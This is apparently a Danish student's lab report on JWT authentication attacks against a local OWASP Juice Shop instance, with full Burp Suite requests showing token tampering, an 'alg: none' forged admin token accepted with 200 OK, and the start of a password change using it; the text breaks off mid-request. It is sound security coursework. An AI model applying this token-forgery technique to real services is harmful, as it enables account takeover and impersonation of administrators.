Øvelse 13 – Angreb på Autentificering & Tokens
Forfatter: Mathias Greisen
Dato: 2026-10-09
Fag/modul: IT-sikkerhed i Webapplikationer
Status: I gang
1. Beskrivelse af øvelsen
Igennem øvelser at kunne identificere og misbruge svagheder i token-baseret autentificering.
2. Trin / Svar
Introduktion til JWT tokens
-
Skifte af sub ændrer lidt i starten/midten af payload delen (2. del) af token.
-
Skifte af iat ændrer det sidste af payload delen (2. del) af token.
-
Ved at decode fra base64 kan man se både header (1. del) og payload (2.del) i plaintext.
- Signaturen kan selvfølgelig ikke decodes da denne er en hash værdi.
Manipulating the JWT Payload
-
Which part of the application accepted the forged token, and why might that be?
- Dashboard acceptede den, må være fordi at token hash og dermed header og payload ikke tjekkes imod den private nøgle. Den tager blot det der står i token for gode varer.
-
What are the risks of placing roles or user identifiers directly in a JWT payload?
- At de kan blive ændret. Man skal derfor sikre at alle endpoints tjekker om det er blevet ændret, evt via middleware.
-
How can developers securely validate JWT tokens?
- Ved at bruge deres private key og hashe header og payload, dette skal gerne give den samme signatur som da token blev oprettet.
Basic Attacks Against Authentication Tokens in Juice Shop
-
Create or reuse a Juice Shop user account.
-
Authenticate with that user and capture a GET request to /rest/user/whoami (There will be multiple GET request to the path, so it is the one with a 200 OK response, and a JWT token in the Authorization header).
-
Send the request to Burp Repeater.
-
Inspect the request: note the Authorization token present in both the Header and Cookie.
RequestGET /rest/user/whoami HTTP/1.1 Host: 127.0.0.1:3000 sec-ch-ua-platform: "Windows" Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0 Accept-Language: da-DK,da;q=0.9 Accept: application/json, text/plain, */* sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:3000/ Accept-Encoding: gzip, deflate, br Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0 If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns" Connection: keep-aliveResponseHTTP/1.1 200 OK Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Recruiting: /#/jobs Content-Type: application/json; charset=utf-8 Content-Length: 127 ETag: W/"7f-cfRabHpgCa0fKpYq4mCwtSiKjOM" Vary: Accept-Encoding Date: Fri, 09 Oct 2026 14:39:34 GMT Connection: keep-alive Keep-Alive: timeout=5 { "user":{ "id":23, "email":"usera@mail.test", "lastLoginIp":"0.0.0.0", "profileImage":"/assets/public/images/uploads/default.svg" } } -
Modify the token in the Header by appending a character; resend and observe the response.
RequestGET /rest/user/whoami HTTP/1.1 Host: 127.0.0.1:3000 sec-ch-ua-platform: "Windows" Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh04 Accept-Language: da-DK,da;q=0.9 Accept: application/json, text/plain, */* sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:3000/ Accept-Encoding: gzip, deflate, br Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0 If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns" Connection: keep-aliveResponseHTTP/1.1 200 OK Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Recruiting: /#/jobs Content-Type: application/json; charset=utf-8 Content-Length: 127 ETag: W/"7f-cfRabHpgCa0fKpYq4mCwtSiKjOM" Vary: Accept-Encoding Date: Fri, 09 Oct 2026 14:42:23 GMT Connection: keep-alive Keep-Alive: timeout=5 { "user":{ "id":23, "email":"usera@mail.test", "lastLoginIp":"0.0.0.0", "profileImage":"/assets/public/images/uploads/default.svg" } }- Responsen er ikke ændret.
-
Modify the token in the Cookie similarly; resend and observe the response.
RequestGET /rest/user/whoami HTTP/1.1 Host: 127.0.0.1:3000 sec-ch-ua-platform: "Windows" Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0 Accept-Language: da-DK,da;q=0.9 Accept: application/json, text/plain, */* sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:3000/ Accept-Encoding: gzip, deflate, br Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh04 If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns" Connection: keep-aliveResponseHTTP/1.1 304 Not Modified Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Recruiting: /#/jobs ETag: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns" Date: Fri, 09 Oct 2026 14:43:31 GMT Connection: keep-alive Keep-Alive: timeout=5- Nu får vi ikke den samme respons. Vi er ikke autoriseret.
-
Try to Remove the Authorization header completely and resend; note if the response is still 200 OK, and what is the response?
RequestGET /rest/user/whoami HTTP/1.1 Host: 127.0.0.1:3000 sec-ch-ua-platform: "Windows" Accept-Language: da-DK,da;q=0.9 Accept: application/json, text/plain, */* sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:3000/ Accept-Encoding: gzip, deflate, br Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0 If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns" Connection: keep-aliveResponseHTTP/1.1 200 OK Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Recruiting: /#/jobs Content-Type: application/json; charset=utf-8 Content-Length: 127 ETag: W/"7f-cfRabHpgCa0fKpYq4mCwtSiKjOM" Vary: Accept-Encoding Date: Fri, 09 Oct 2026 14:43:54 GMT Connection: keep-alive Keep-Alive: timeout=5 { "user":{ "id":23, "email":"usera@mail.test", "lastLoginIp":"0.0.0.0", "profileImage":"/assets/public/images/uploads/default.svg" } }- Nu får vi data tilbage igen som oprindeligt. Header token bliver altså ikke brugt.
-
Which token the does server use for validation on this request path?, and which does it use for autentication?
- Den bruger cookie token.
-
Change the request back to its original state before moving on.
-
Using the JWT Editor tab in Burp Repeater, change the payload:
- Set email to admin@juice-sh.op
- Set id to 1 (We know from earlier, that user id's are given sequencelly)
-
Resend the request with the modified token and observe the status code (likely 304).
RequestGET /rest/user/whoami HTTP/1.1 Host: 127.0.0.1:3000 sec-ch-ua-platform: "Windows" Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0 Accept-Language: da-DK,da;q=0.9 Accept: application/json, text/plain, */* sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:3000/ Accept-Encoding: gzip, deflate, br Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0 If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns" Connection: keep-alive -
In Burp Repeater’s JWT Editor, click Attack → none signing Algorithm to:
- Set alg to none in the JWT header
- Removes the signature entirely, and sets header alg to None (token format:
. .)
-
Send the unsigned token request and confirm you receive a 200 OK response.
RequestGET /rest/user/whoami HTTP/1.1 Host: 127.0.0.1:3000 sec-ch-ua-platform: "Windows" Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0. Accept-Language: da-DK,da;q=0.9 Accept: application/json, text/plain, */* sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:3000/ Accept-Encoding: gzip, deflate, br Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0. If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns" Connection: keep-aliveResponseHTTP/1.1 200 OK Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Recruiting: /#/jobs Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.; Path=/ Content-Type: application/json; charset=utf-8 Content-Length: 128 ETag: W/"80-zqrGgSA7hFv/hSKK0bOXEisP6Js" Vary: Accept-Encoding Date: Fri, 09 Oct 2026 14:48:57 GMT Connection: keep-alive Keep-Alive: timeout=5 { "user":{ "id":1, "email":"admin@juice-sh.op", "lastLoginIp":"0.0.0.0", "profileImage":"/assets/public/images/uploads/default.svg" } } -
Save this unsigned token admin for subsequent steps.
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0. -
Capture a password change request and send it to Repeater.
-
Replace the token in the Authorization header and Cookie with the unsigned admin token.
RequestGET /rest/user/change-password?current=Test1234!&new=hazel&repeat=hazel HTTP/1.1 Host: 127.0.0.1:3000 sec-ch-ua-platform: "Windows" Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0. Accept-Language: da-DK,da;q=0.9 Accept: application/json, text/plain, */* sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:3000/ Accept-Encoding: gzip, deflate, br Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; 